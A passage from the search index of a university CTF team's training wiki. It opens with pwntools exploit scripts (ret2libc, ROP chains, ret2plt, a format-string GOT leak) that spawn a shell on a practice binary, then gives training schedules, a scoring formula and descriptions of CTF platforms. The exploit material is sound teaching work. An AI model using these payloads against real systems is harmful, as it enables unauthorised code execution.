payload = flat(\n 'A' * 32,\n libc.sym['system'],\n 0x0, # return address\n next(libc.search(b'/bin/sh'))\n)\n\np.sendline(payload)\n\np.interactive()\n
"},{"location":"Training/Material/pwn-stack-3/#final-exploit_2","title":"Final Exploit","text":"from pwn import *\n\nelf = context.binary = ELF('./vuln-32')\nlibc = elf.libc\np = process()\n\np.recvuntil('at: ')\nsystem_leak = int(p.recvline(), 16)\n\nlibc.address = system_leak - libc.sym['system']\nlog.success(f'LIBC base: {hex(libc.address)}')\n\npayload = flat(\n 'A' * 32,\n libc.sym['system'],\n 0x0, # return address\n next(libc.search(b'/bin/sh'))\n)\n\np.sendline(payload)\n\np.interactive()\n
"},{"location":"Training/Material/pwn-stack-3/#64-bit_3","title":"64-bit","text":"Try it yourself :)
aslr-64
"},{"location":"Training/Material/pwn-stack-3/#using-pwntools","title":"Using pwntools","text":"If you prefer, you could have changed the following payload to be more pwntoolsy:
payload = flat(\n 'A' * 32,\n libc.sym['system'],\n 0x0, # return address\n next(libc.search(b'/bin/sh'))\n)\n\np.sendline(payload)\n
Instead, you could do:
binsh = next(libc.search(b'/bin/sh'))\n\nrop = ROP(libc)\nrop.raw('A' * 32)\nrop.system(binsh)\n\np.sendline(rop.chain())\n
The benefit of this is it's (arguably) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.
"},{"location":"Training/Material/pwn-stack-3/#plt-and-got","title":"PLT and GOT","text":"Bypassing ASLR
The PLT and GOT are sections within an ELF file that deal with a large portion of the dynamic linking. Dynamically linked binaries are more common than statically linked binary in CTFs. The purpose of dynamic linking is that binaries do not have to carry all the code necessary to run within them - this reduces their size substantially. Instead, they rely on system libraries (especially libc
, the C standard library) to provide the bulk of the functionality. For example, each ELF file will not carry its own version of puts
compiled within it - it will instead dynamically link to the puts
of the system it is on. As well as smaller binary sizes, this also means the user can continually upgrade their libraries, instead of having to redownload all the binaries every time a new version comes out.
So when it's on a new system, it replaces function calls with hardcoded addresses?
Not quite.
The problem with this approach is it requires libc
to have a constant base address, i.e. be loaded in the same area of memory every time it's run, but remember that *ASLR* exists. Hence the need for dynamic linking. Due to the way ASLR works, these addresses need to be resolved every time the binary is run. Enter the PLT and GOT.
The PLT (Procedure Linkage Table) and GOT (Global Offset Table) work together to perform the linking.
When you call puts()
in C and compile it as an ELF executable, it is not actually puts()
- instead, it gets compiled as puts@plt
. Check it out in GDB:
Why does it do that?
Well, as we said, it doesn't know where puts
actually are - so it jumps to the PLT entry of puts
instead. From here, puts@plt
does some very specific things:
puts
, it jumps to the address stored there.The GOT is a massive table of addresses; these addresses are the actual locations in memory of the libc
functions. puts@got
, for example, will contain the address of puts
in memory. When the PLT gets called, it reads the GOT address and redirects execution there. If the address is empty, it coordinates with the ld.so
(also called the dynamic linker/loader) to get the function address and store it in the GOT.
Well, there are two key takeaways from the above explanation:
libc
, and the GOT is within the binary.The use of the first point is clear - if we have a PLT entry for a desirable libc
function, for example, system
, we can just redirect execution to its PLT entry and it will be the equivalent of calling the system
directly; no need to jump into libc
.
The second point is less obvious, but debatably even more important. As the GOT is part of the binary, it will always be a constant offset away from the base. Therefore, if PIE is disabled or you somehow leak the binary base, you know the exact address that contains a libc
function's address. If you perhaps have an arbitrary read, it's trivial to leak the real address of the libc
function and therefore bypass ASLR.
There are two main ways that I (personally) exploit an arbitrary read. Note that these approaches will cause not only the GOT entry to be returned but everything else until a null byte is reached as well, due to strings in C being null-terminated; make sure you only take the required number of bytes.
"},{"location":"Training/Material/pwn-stack-3/#ret2plt","title":"ret2plt","text":"A ret2plt is a common technique that involves calling puts@plt
and passing the GOT entry of puts as a parameter. This causes puts
to print out its own address in libc
. You then set the return address to the function you are exploiting in order to call it again and enable you to
# 32-bit ret2plt\npayload = flat(\n b'A' * padding,\n elf.plt['puts'],\n elf.symbols['main'],\n elf.got['puts']\n)\n\n# 64-bit\npayload = flat(\n b'A' * padding,\n POP_RDI,\n elf.got['puts']\n elf.plt['puts'],\n elf.symbols['main']\n)\n
flat()
packs all the values you give it with p32()
and p64()
(depending on context) and concatenates them, meaning you don't have to write the packing functions out all the time
This has the same general theory but is useful when you have limited stack space or a ROP chain would alter the stack in such a way as to complicate future payloads, for example when stack pivoting.
payload = p32(elf.got['puts']) # p64() if 64-bit\npayload += b'|'\npayload += b'%3$s' # The third parameter points at the start of the buffer\n\n\n# this part is only relevant if you need to call the function again\n\npayload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer\npayload += p32(elf.symbols['main'])\n\n# Send it off...\n\np.recvuntil(b'|') # This is not required\nputs_leak = u32(p.recv(4)) # 4 bytes because it's 32-bit\n
"},{"location":"Training/Material/pwn-stack-3/#summary_1","title":"Summary","text":"libc
of functions you use and stores them in the GOTfunction@plt
is equivalent to calling the function itselflibc
baseAfter the recruiting on September 4th, new members are going to learn basic ideas of CTF.
The training project for 2021 fall is going to start in September, and will finish in November. After the training, another exam would be held.
"},{"location":"Training/Schedule/2021Fall/#schedule","title":"Schedule","text":"Data Title Intro Material Sep 11th 2021 Introduction to CTF, how to Search & Learn Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. Introduction to CTF.pdf Sep 19th 2021 Linux, Programming, and Toolkit Introduce how to operate a Linux system using CLI, and install your environment. Learn how to program with Python. Install the toolkit. Linux, Programming, and Toolkit Sep 25th 2021 Web Challenges and Databases Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. Web Challenges and Databases.pdf Oct 10th 2021 Forensics & Steganography Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. Forensics_Steganography.pdf Oct 16th 2021 Operating Systems Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure. Operating Systems.pptx Oct 23th 2021 Modern Cryptography and Mathematics Asymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography. Cryptography.pptx Oct 30th 2021 Assembly Language Learn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved. Reverse.pdf Nov 20th 2021 Binary Exploitations PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. Binary Exploitation.pdf Nov 27th 2021 Post Penetration After acquire a shell or you want to use reverse shell to exploit websites. Use vulnerability database to search vulnerabilities. Privilege escalation in Linux system. Dec 4th 2021 AWD CTF From Jeopardy to AWD (Attack and Defense) CTF. Use an online AWD CTF to learn about vulnerability fix and exploit. Dec 11th 2021 Report Individual report of each new members about a topic you interested in. Dec 18th 2021 Exam Qualifier exam."},{"location":"Training/Schedule/2021Fall/#training-timeline","title":"Training Timeline","text":"There some major changes to our training timeline.
According to the new goal of intro and improve, the lecture time is reduced to 1 hour in order to do more exercise.
The offline training location is changed to Meeting Room 551 Engineering College South Tower because of the failure to get keys to TB2 (aka, picking locks are illegal).
Training time stays unchanged: every Saturday 2pm - 6pm.
2021 Fall training timeline:
14:00 - 15:00 Lecture
15:30 - 18:00 Collaborate exercise
"},{"location":"Training/Schedule/2021Fall/#attendance","title":"Attendance","text":"It's highly recommend you to join offline in Meeting Room 551 Engineering College South Tower, but if you have any other arrangement, online attendance is fine.
Any pigeons absence for 3 weeks would be stewed into pigeon soup. Because after 3 weeks of patting fish, you may forget the password of your own kali image.
"},{"location":"Training/Schedule/2021Summer/","title":"2021 Summer Schedule","text":"The summer of 2021 is focusing on the beginners and our new members of team. Summer schedule is from basics of CTF to introduction to all the categories and basic knowledge.
"},{"location":"Training/Schedule/2021Summer/#schedule","title":"Schedule","text":"Date Title Intro Material July 31st 2021 Operating Systems Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure. Computer Systems: A Programmer's Perspective Aug 7nd 2021 Computer Network and Protocols About computer network, how Internet works and basic protocols about computer network. Computer Networking: A Top-Down Approach Aug 14nd 2021 Modern Cryptography and Mathematics Asymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography. Cryptography Theory and PracticeIntroduction to Modern Cryptography Aug 21st 2021 Penetration and Hacking From CTF challenges to the penetration testing and hacking a real system. Learn about how to carry out a real attack to the computer systems. The Hacker Playbook Aug 28th 2021 Ethics of Cybersecurity & Exam for CTF team Ethics of hacking and cybersecurity. From supply chain attack to Linux kernel to security research ethics. Learn about how to apply good penetration test instead of cracking. An Introduction to Cybersecurity Ethics"},{"location":"Training/Schedule/2021Summer/#training-timeline","title":"Training Timeline","text":"The training location is at southern building of engineering college, 551 meeting room. If any changes to the training location, we would inform in advance.
Welcome everyone to our training weekly.
Summer training timeline:
14:00 - 14:30 Chatting and review of daily challenges
14:30 - 16:00 Lecture
16:10 - 17:00 Training sequence 1
17:10 - 18:00 Training sequence 2
"},{"location":"Training/Schedule/2021Summer/#advice","title":"Advice","text":"If you have any advice to the training, and about the topics of lecture, feel free to inform me and we can update training schedule according to your needs.
"},{"location":"Training/Schedule/2022Fall/","title":"2022 Fall Training Schedule","text":""},{"location":"Training/Schedule/2022Fall/#tldr","title":"tl,dr;","text":"This semester we have both advanced training and qualification for 2022 students.
Training: from 2 pm to 6 pm every Sunday at 551 Room, Southern Tower of Engineering Department.
The first 4 weeks this semester is for the qualification, then we would have weekly training every Sunday.
Remember we also have a CS315 course this semester.
Date Topic Attachments Sep, 11th Welcome, and meeting with new members. Introduction to the competitions, research, and COMPASS lab. None Sep, 18th Final Round for GDCTF 2nd, skip. None Sep, 25th Bytecode CTF. None Oct, 2nd Qualification, and introduction of CTF for 2022 students. Introduction to CTF.pdfLinux challengesLinux tutorialPython tutorial Oct, 9th Basics about OS, Web, and fundamentals programming. Web Basics and Databases.pdfCTF101 Web Oct, 16th Reverse engineering, GLIBC, and how to exploit a binary program. Reverse.pdfBinary Exploitation.pdf Oct, 23th Qualification Exam: CTF track and AWD track. None Oct, 30th PWN, stack, heap, and kernel. Kernel PWN Introduction Nov, 6th Reversing different kinds of applications, desktop, mobile, and embedded. newbie dive into binary Nov, 20th Modern cryptography, ECC, RC4, and AES. iThome ironman Nov, 27th Attack-with-Defense, EDR, network sniffing, and trojan. Post Penetration Dec, 4th COMPASS CTF Event (Jeopardy). None Dec, 11th COMPASS CTF Event (AWD). None Dec, 17th Summary of 2022 Fall Training. TBA"},{"location":"Training/Schedule/2022Fall/#contact-me","title":"Contact me","text":"Your advice is valuable and would help me to improve the training. If you have any suggestions, there are several ways to contact me:
Weekly meeting: every Thursday, at 16 pm, according to the weekly meeting page.
My email address: liz33#mail.sustech.edu.cn
My office address: 441A, Southern Tower of the Engineering Department.
The time schedule for 2022 takes competition as major tasks. Currently, we have enough training for CTF techniques. Some of the competitions from 2022 Feb to 2022 July would be listed here.
Be aware that the time schedule may adjust according to the competition arrangement.
"},{"location":"Training/Schedule/2022Spring/#weekly-schedule","title":"Weekly Schedule","text":"Every week we would have at least ONE competition and ONE presentation slide. The activity would be both online / offline. Online meeting for those can't participate in the offline meeting, while offline is the major component.
Location: 515 Meeting Room, Southern Tower of Engineering Department
Time: every Saturday from 2 pm to 6 pm
Snacks and teatime are also included.
"},{"location":"Training/Schedule/2022Spring/#timeline","title":"Timeline","text":"Competition Time Format Comment DefCamp CTF 2022 Online 11 Feb, 17:00 CST \u2014 13 Feb 2022, 23:00 CST Jeopardy Rating weight: 43.08 CInsects CTF 2022 19 Feb, 19:00 CST \u2014 20 Feb 2022, 04:00 CST Attack-Defense AWD exercise Codegate CTF 2022 Preliminary 26 Feb, 18:00 CST \u2014 27 Feb 2022, 18:00 CST Jeopardy Top 10 teams will go on to the final match D^3CTF 2022 04 March, 20:00 CST \u2014 06 March 2022, 20:00 CST Jeopardy Top 12 teams will get awards DaVinciCTF 2022 12 March, 00:00 CST \u2014 14 March 2022, 00:00 CST Jeopardy Rating weight: 24.50 VolgaCTF 2022 Qualifier 19 March, 23:00 CST \u2014 20 March 2022, 23:00 CST Jeopardy Top teams will be invited to participate in VolgaCTF 2022 Final LINE CTF 2022 26 March, 08:00 CST \u2014 27 March 2022, 08:00 CST Jeopardy Rating weight: 23.68 Midnight Sun CTF 2022 Quals 02 April, 18:00 CST \u2014 03 April 2022, 18:00 CST Jeopardy Rating weight: 27.82 PlaidCTF 2022 09 April, 05:00 CST \u2014 11 April 2022, 05:00 CST Jeopardy Rating weight: 93.67 CUCTF 1.0 23 April, 2022, 06:30 UTC \u2014 23 April, 2022, 12:30 UTC Jeopardy This CTF will be in collaboration of WIZCON '22 which aims to introduce beginners to Capture the Flags. (Empty) 30 May, 2022 (Empty) Welcome back to campus 2022\u5e74\u6625\u79cb\u676f\u7f51\u7edc\u5b89\u5168\u8054\u8d5b-\u6625\u5b63\u8d5b 2022-05-07 09:00:00 - 2022-05-07 19:00:00 Jeopardy \u6708\u8d5b\u91c7\u7528\u6301\u7eed\u62a5\u540d\u7684\u5f62\u5f0f\uff0c\u51e1\u62a5\u540d\u8fc7\u672c\u5c4a\u5b63\u8d5b\u6216\u4efb\u4e00\u6708\u8d5b\u7684\u9009\u624b\u65e0\u987b\u91cd\u590d\u62a5\u540d\uff0c\u53ef\u76f4\u63a5\u8fdb\u884c\u53c2\u8d5b\u3002 VolgaCTF 2022 Qualifier 14 May 2022, 15:00 UTC \u2014 15 May 2022, 15:00 UTC Jeopardy VolgaCTF 2022 Qualifier is an online competition. Top teams will be invited to participate in VolgaCTF 2022 Final, which will be held in Samara, Russia. \u5e7f\u4e1c\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u653b\u9632\u5927\u8d5b 21 May 2022 - 22 May 2022 Question + Jeopardy The top 30 teams would be qualified to the final round. DEF CON 30 28 May 2022 - 30 May 2022 Jeopardy Top hacking activity Google CTF \u661f\u671f\u516d, 02 \u4e03\u6708 2022, 02:00 CST \u2014 \u661f\u671f\u4e00, 04 \u4e03\u6708 2022, 02:00 CST Jeopardy Google's annually CTF FAUST CTF 2022 \u661f\u671f\u516d, 09 \u4e03\u6708 2022, 20:00 CST \u2014 \u661f\u671f\u65e5, 10 \u4e03\u6708 2022, 05:00 CST AWD Top AWD activity"},{"location":"Training/Schedule/2022Spring/#personal-showcase","title":"Personal Showcase","text":"The CTF team members will be invited to have a presentation every week before the competition. The goal of the showcase is to improve and sharing.
The topic of the presentation can be various from challenge writeup to recently vulnerabilities. Anything useful for cybersecurity is fine.
The current arrangement for the showcase:
TBA
"},{"location":"Training/Schedule/2022Spring/#weekly-meeting","title":"Weekly Meeting","text":"Every Thursday we would have a short meeting online. If you have any question or advice, it's highly recommend to join the meeting and share with us.
The online meeting channel (welcome to public participation): https://meeting.tencent.com/p/4484894504
The offline meeting office room: Southern Tower of the Engineering Department, 515.
"},{"location":"Training/Schedule/2022Summer/","title":"2022 Summer Training Schedule","text":""},{"location":"Training/Schedule/2022Summer/#tldr","title":"tl,dr;","text":"The time schedule would according to the weekly training topics. Every week, we would have a topic to focus on. During the training time, our timeline is set to the following table.
Time Topic Introduction Material June, 26th CTF Overview & Fun-oriented challenges. Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. Introduction to CTF.pdfSakai pageKali LinuxLinux challengesLinux tutorialPython tutorial July, 3rd Web Challenges and Databases (Basics) Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. Web Basics and Databases.pdfOWASP vulnerabilitiesPHP basicsHTML MDNCSS MDNJavaScript MDN July, 10th Practice, Solving Web Challenges (Advanced) Why websites are vulnerable, learn how to crack a website and solve some web challenges. Find the weakness in the websites, and common vulnerabilities. Advanced Web Hacking.pdfLinux BasicsBlackHat SSTI PDFCTF101 WebWeb learning notes July, 17th Forensics & Steganography Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. Forensics_Steganography.pdfCTF 101 Forensics1earn Forensics July, 24th Modern Cryptography and Mathematics Asymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography. Cryptography.pptxIntroduction to Modern Cryptography: Principles and ProtocolsTrapping ECC with Invalid Curve Bug Attacks July, 31st Assembly Language and Reverse Engineering Learn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved. Reverse.pdf August, 7th Binary Exploitations PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. Binary Exploitation.pdf August, 13th Report and Summary Before the final exam, we would have a report week to share your learning and conclusion on the CTF. TBA August, 14th Exam Brand new challenges to solve this year, and winners would be qualified to the team. TBA"},{"location":"Training/Schedule/2022Summer/#time-arrangement","title":"Time arrangement","text":"We usually would have our offline training in the 551 Meeting Room, Southern Tower of the Engineering Department. The time of the offline meeting would be on Sundays.
From the offline training, you can have a summary of the past week's challenges and topics. The schedule of this day would be like this:
2022 Summer training timeline:
For the students who won't be able to participate the whole time, we can still have a more relaxed timeline.
"},{"location":"Training/Schedule/2022Summer/#advanced-level","title":"Advanced level","text":"In order to join the compass team and attend competitions in the future, we need to have a more advanced skills. In the training, you should make sure that you are great at your specified area.
Taking the advanced level isn't easy, and you would get 5 extra points for the total score.
"},{"location":"Training/Schedule/2022Summer/#basic-level","title":"Basic level","text":"If you don't want to fully participate in the training, and just want to learn something about computer security and CTF by interest. The basic level is enough.
You can still participate in the final exam. If your score is high enough (which means you are so talented in the CTF), it's our honor to have you on the team.
"},{"location":"Training/Schedule/2022Summer/#exam-and-the-score","title":"Exam and the score","text":"The training schedule isn't a course or something you need to rat race to get an A-level score. But, I think taking some grades can be feedback on your learning.
How to join the compass team? Sometimes, joining the CTF competitions can be done by oneself, but usually, we need teamwork to get a better grade in the competitions. You don't want your teammate to be a newbie, right? The exam and the score are used to make sure that every member is great.
Thus, if you find anything that is non-reasonable in our score system, please write an email to me. I would appreciate having your advice.
The scoring system won't have a cap, you can get as many points if you want. However, I don't like the rat race. So, every category would have a percentage in the result.
The final score formula is: score = weight * sum(percent * log(2, score))
The categories involves,
The weight would be according to your grade. A freshman in the university is less experienced compared with the senior students, but from future learning, a freshman can have more time to improve. The weight is in order to balance the grades.
This is summer training, and we won't have any senior members (they are already graduated).
For example, if you got 3127 in the challenges and competitions, 155 in the remarks, 229 in the report, and 1625 in the final exam. You are a freshman in the university and just finished your first year. The total score would be: 1.06 * (0.3 * 11.610563503925041 + 0.1 * 7.2761244052742375 + 0.15 * 7.839203788096944 + 1 * 10.66622400280318) = 17.016059226486018
.
Your advice is valuable and would help me to improve the training. If you have any suggestions, there are several ways to contact me:
liz33#mail.sustech.edu.cn
We will have several written/video-based remedial content sessions before we begin training for Spring 2023 (the timing will be prior to the start of Spring 2023 training).
For the spring 2023 program, we will continue to use the same weekly training format as before, and we will accept your suggestions to add a sharing and combination of questions to the training, and add more practical content in addition to theory.
Each week, I will also post an archived replay of a recent competition, or a self-practice session on a selected topic, which you are free to arrange according to your schedule. Of course, if there is a competition planned for the week, the competition topic review will be delayed/reduced/cancelled.
"},{"location":"Training/Schedule/2023Spring/#remedial-content-session","title":"Remedial Content Session","text":"In these tutorials, I will sync the written content to our wiki for use as an introduction to cybersecurity, currently selected content is
This content will be updated gradually in the form of written materials or video images and will not be available in offline training sessions.
"},{"location":"Training/Schedule/2023Spring/#spring-2023-program","title":"Spring 2023 Program","text":"In the spring 2023 program, we have two components: recruitment of new members and advanced training. After a semester of competition and training, everyone's cybersecurity level and ability have been improved, and I will focus on deepening learning in a certain direction in this semester.
I will not recruit too many new members in this semester, and the final recruitment will still be conducted through the competition, mainly for the freshmen of 2022, and the number of recruits will be mainly used to make up for the number of members who will graduate after this semester.
The number of recruits will be used to make up for the number of members who will graduate after this semester. The spring 2023 offline training and competition questions will be updated on this page.
Topic Category Attachment Date Network Sniff: Introduction Web https://ithelp.ithome.com.tw/articles/10245117https://ithelp.ithome.com.tw/articles/10245119https://ithelp.ithome.com.tw/articles/10246315https://ithelp.ithome.com.tw/articles/10246917 Feb. 26th, 2023 Network Sniff: Multi-platform Web https://frida.re/docs/android/ March. 5th, 2023 Network Scan Web https://websec.readthedocs.io/zh/latest/index.html March. 12th, 2023 Ethereum and Solidity: Introduction Blockchain http://www.snowywar.top/?p=3848 March. 25th, 2023 Ethereum and Solidity: Practice Blockchain http://www.snowywar.top/?p=3848 April. 2nd, 2023 IoT Security IoT https://paper.seebug.org/2048/ May. 7th, 2023 PWN: Stack PWN https://ir0nstone.gitbook.io/notes/ May. 14th, 2023 PWN: Heap PWN https://ir0nstone.gitbook.io/notes/ May. 14th, 2023 PWN: Kernel PWN https://ir0nstone.gitbook.io/notes/https://paper.seebug.org/2036/ May. 21st, 2023 Real-World Security: Penetration RW https://www.ired.team/ May. 28th, 2023 Real-World Security: Malware RW https://www.ired.team/ June. 4th, 2023 Real-World Security: Summary RW https://www.ired.team/ June. 11th, 2023"},{"location":"Training/Schedule/2023Spring/#summary","title":"Summary","text":"Contact me: liz33@mail.sustech.edu.cn
You can also send emails or communicate with Prof. Zhang. About the academic project and the COMPASS lab-related component, I will post later.
"},{"location":"Training/Schedule/2023Summer/","title":"2023 Summer Recruitment & Training Schedule","text":"A recruitment program for new members will take place in the summer of 2023. The recruitment of new members will last for 4 weeks and will be conducted jointly with South China Universities on the weekend of the 4th week.
There will be two categories of new members: basic and expert. At the basic level, many basic computer science concepts will be mentioned, and only the basic content will be required in the recruitment training questions. At the expert level, we will focus on real cybersecurity practice (in the meantime, let me assure you already have some computer science foundation) and begin computer security training directly.
Therefore, this article will be described according to the following table of contents:
Capture the Flag (CTF) is a class of security competitions that simulate real network environments and are usually divided into two categories: recreational exercises and formal competitions. In the first category, we will learn a lot of computer science and coding, programming, image encryption, and a series of other interesting knowledge, just as learning itself is an enjoyable experience, in this type of recreational practice tournament, you can get more basic knowledge about computer science and interesting experience. The latter category is better for your career development and future planning, and in recent years, CTF competitions for talent recruitment are increasingly held by companies, government departments, and universities. In formal competitions, rigorous knowledge of cybersecurity will be tested, including malicious program analysis, industrial control software analysis, or offline hacking and defense simulating real-life environments.
At Southern University of Science and Technology, winning official competitions can get you extra points for graduate school/prize money for the school, and publicity on the official public website. In the official competitions you participate in, you can get the favor of enterprises such as Netcom, Ministry of Public Security, Ministry of Education, Ant (Alibaba Inc), or Meituan, etc. due to the different organizers.
You can choose your training group according to your situation:
Of course, these two-level choices still represent different training difficulties and basic thresholds, which also need to be adjusted by your actual needs. You can also adjust your group after you have registered for new members.
"},{"location":"Training/Schedule/2023Summer/#0x2-registration-for-new-members","title":"0x2. Registration for new members","text":"The registration form for the New Member Recruitment Program (or its online version) can be found in Appendix A. If you will be officially joining SUSTech next semester, or if you will be entering your second year at SUSTech next semester, please do not feel anxious about building up your basic knowledge; you still have plenty of time to learn and improve.
If you are going to choose your own academic research path, the COMPASS CTF team is an affiliated team of the COMPASS lab with research on computer security, and I am very pleased to recommend the COMPASS lab.
"},{"location":"Training/Schedule/2023Summer/#0x3-the-basics-of-the-recruitment-campaign-and-the-practice-questions","title":"0x3. The basics of the recruitment campaign and the practice questions","text":"The recruitment of new members will be divided into three parts:
Among them, the basics of training and learning will use the CTF book written by the Nu1L team for reference. The CTF All in One book is also recommended as reference material. At the same time, I will also summarize a series of online materials, with our previous recruiting materials information to carry out.
You do not need to complete the questions on the same day, but it is recommended that you complete the week's questions before the intensive training and Q&A time every Sunday. You may have difficulty with the daily exercises, but each week we will work through the difficult questions.
"},{"location":"Training/Schedule/2023Summer/#0x4-recruitment-assessment-and-score-evaluation","title":"0x4. Recruitment assessment and score evaluation","text":"New member recruitment is not a course, and scores are graded only for your motivation and as a reference for joining the team. We certainly don't want your teammates to have a large difference in ability level from you, which would lead to an imbalance in team strength. Therefore, if you think there is a problem with the design of the scores or have any suggestions, please feel free to contact me.
New member recruitment scores are designed to be chaotic and evil in an uncapped mode. The final score is made up of several components. Each part of the score has a different weighting and is calculated as:
Final score = factor * sum(weight * part score)
First, the factor depends on your grade level. If you will be entering SUSTech in the next semester, then you will receive an additional 40% factor, and if you will be entering your second year in the next semester, then you will receive an additional 20% factor. In addition, if you choose the Expert level (which represents more daily practice with more daily commitment time), you will receive an additional 5% factor.
The scores for each component with their corresponding weights are shown in the following table:
Part Weight daily challenges 100% competition participated 150% training activity 50% teammate score 100% member score 100% final competition 500%"},{"location":"Training/Schedule/2023Summer/#0x5-some-content-that-may-be-helpful-if-you-are-concerned-about-quitting","title":"0x5. Some content that may be helpful if you are concerned about quitting","text":"I am very sorry if you plan to drop out during the course of your study, but if this is due to the training schedule and my factors, I humbly seek your advice and opinion.
If you need some help, perhaps the following will help you.
Q: I wasn't as interested in computer security as I expected it to be at the beginning.
A: The learning path for computer security can be very steep, and you may find yourself making no significant breakthroughs for some time. The accumulation of basic knowledge content is equally important. The field of computer security may not be as exhilarating as you might expect, but as you learn more, you will be exposed to more content that a beginner would not.
Q: The training schedule drains me.
A: Maybe you can try to lower the level of difficulty, even if you plan to join the team, but it's not for experts only. The basic level is also possible, the difference is only the 5% extra factor.
Q: I have other questions.
A: You are always welcome to contact me by email or by any means. Here is my email address: liz33@mail.sustech.edu.cn, and you can also find me in my office at 441A, South Building, College of Engineering.
"},{"location":"Training/Schedule/2023Summer/#attachment-a-registration-form","title":"Attachment A. Registration Form","text":"Before filling out the registration form, allow me to describe to you this very interesting field and the five most important maxims in this field.
If you love cybersecurity, enjoy deciphering the maze of programs, hardware, and networks, and explore with humble curiosity and wonder, then you have the most important qualities that lead to success.
Key Value Student ID (or empty if you haven't joined SUSTech) Contact email address Name or nickname you prefer to be called Level (basic or expert) Experience and knowledge Interest point(s)Hope you enjoy the trip!
"},{"location":"Training/Schedule/2023Summer/#attachment-b-reference-links","title":"Attachment B. Reference Links","text":"COMPASS lab website: https://compass.sustech.edu.cn/
Online competition & challenge platform: http://detroit.sustech.edu.cn:29998/
Online competition & challenge platform (Intranet address): http://116.7.234.225:29998/
CTF all in one gitbook: https://firmianay.gitbook.io/ctf-all-in-one/content/
"},{"location":"Training/Schedule/2023Summer/#attachment-c-timeline","title":"Attachment C. Timeline","text":"The timeline and the topics of the training schedule are as below:
Date Topic Attachment Aug. 3rd 1: introduction/Linux CTF_tutorial_1___introduction Aug. 6th 2: web1 CTF_tutorial_2___web Aug. 8th 3: web2 CTF_tutorial_3___web___sqlCTF_tutorial_3___web___fileCTF_tutorial_3___web___ssrf Aug. 10th 4: forensics CTF_tutorial_4___forensics Aug. 13th 5: crypto/Python \uc557\uff1f Aug. 15th 6: reverse CTF_tutorial_6___reverse Aug. 17th 7: pwn1 CTF_tutorial_7___pwn Aug. 20th 8: pwn2 \u12a0\u1205\uff1f Aug. 22nd 9: penetration/bug bounty 5ZWK\uff1f Aug. 24th 10: awd -----BEGIN PGP MESSAGE-----Version: Keybase OpenPGP v2.1.15Comment: https://keybase.io/cryptowcBMA3ffNJS1q05yAQf9HwBZU1UsQ5m9vzr8sZKGqRE0hXz0tL/4fn+53z0ZPtPZpMC8+Lqf2LUvuxy+e7kkGQ8+9TYG0+dRXzrTqB2XLswFVYVlQYE3kPggBopuvOmYC2jbYElBs5BJReAtwMwfryF3zHi1QvES2McAlPie5t7UOZplu4+TneCzXclL07yz3Ipw6se5h+VXUEXrPpF43tCXRj3dakpTFlpiVd62WB/NlNYf8LUDWDceOqC/flwL0CEC9Jm/sCM5aynzjFuEyVSTXz5+2ppappkqyrnlhRkJWE/Tvvcg1Nw03rnpffSaT5e76JhYPNgko/Pe7NFD19xeVpyjE4KgZIGNdndEX9JDAeIYls88jN3dpaVTvPJzFP5xmvLVsEhj+g8bfCydR0vVJXirmdr7G1hdMpIYLd9R87PhW9E2TtT6AX0myazeDMSaHA===fUNF-----END PGP MESSAGE-----"},{"location":"Website/Forum/kanxue/","title":"\u770b\u96ea\u5b66\u9662","text":"Kanxue Security Documentation is a forum to post all things about cybersecurity from operating systems to web security, from binary exploitation to wiki and IoT security.
The knowledge base contains good posts in forum.
"},{"location":"Website/Forum/kanxue/#reference","title":"Reference","text":"Link: https://www.kanxue.com/chm.htm
"},{"location":"Website/Platform/CTFHub/","title":"CTFHub","text":"Easy to use CTF learn tutorial.
Contains CTF events time schedule, skills that CTFers should learn, challenges provided, and tools and other assistant.
"},{"location":"Website/Platform/CTFHub/#advantages-and-disadvantages","title":"Advantages and disadvantages","text":"CTF hub is a new CTF platform provided to help CTF gamers to train skills and get information of events. It's full of everything that is useful from tutorial to challenges.
The skill tree is under construction and new contents are continuously added to the current components.
CTF hub provides a calendar to check upcoming CTF competitions, subscribe the calendar to find new events.
https://api.ctfhub.com/User_API/Event/getAllICS
"},{"location":"Website/Platform/CTFHub/#reference","title":"Reference","text":"CTF hub link: https://www.ctfhub.com/
"},{"location":"Website/Platform/CTFlearn/","title":"CTFlearn","text":"CTF learn is a challenge website for user update challenges and solve challenges.
Those challenges are uploaded by community and users who solves the challenge can leave comments and score for the challenge.
To submit flag and acquire scores, you need an account. In CTF learn, the accounts are free to register. Once you finish the registration, you may login with the account.
For business user and education propose, CTF learn offers a professional edition called Learn++.
Some online labs are also useful for beginners.
"},{"location":"Website/Platform/CTFlearn/#reference","title":"Reference","text":"CTF learn link: https://ctflearn.com/
"},{"location":"Website/Platform/Cryptopals/","title":"Cryptopals Crypto Challenges","text":""},{"location":"Website/Platform/Cryptopals/#welcome-to-the-challenges","title":"Welcome to the challenges","text":""},{"location":"Website/Platform/Cryptopals/#work-in-progress","title":"Work in progress.","text":"This site will host all eight sets of our crypto challenges, with solutions in most mainstream languages.
But: it doesn't yet. If we waited to hit \"publish\" until everything was here, we might be writing this in 2015. So we're publishing as we go. In particular: give us a little time on the challenge solutions.
We can't introduce these any better than Maciej Ceglowski did, so read that blog post first.
We've built a collection of 48 exercises that demonstrate attacks on real-world crypto.
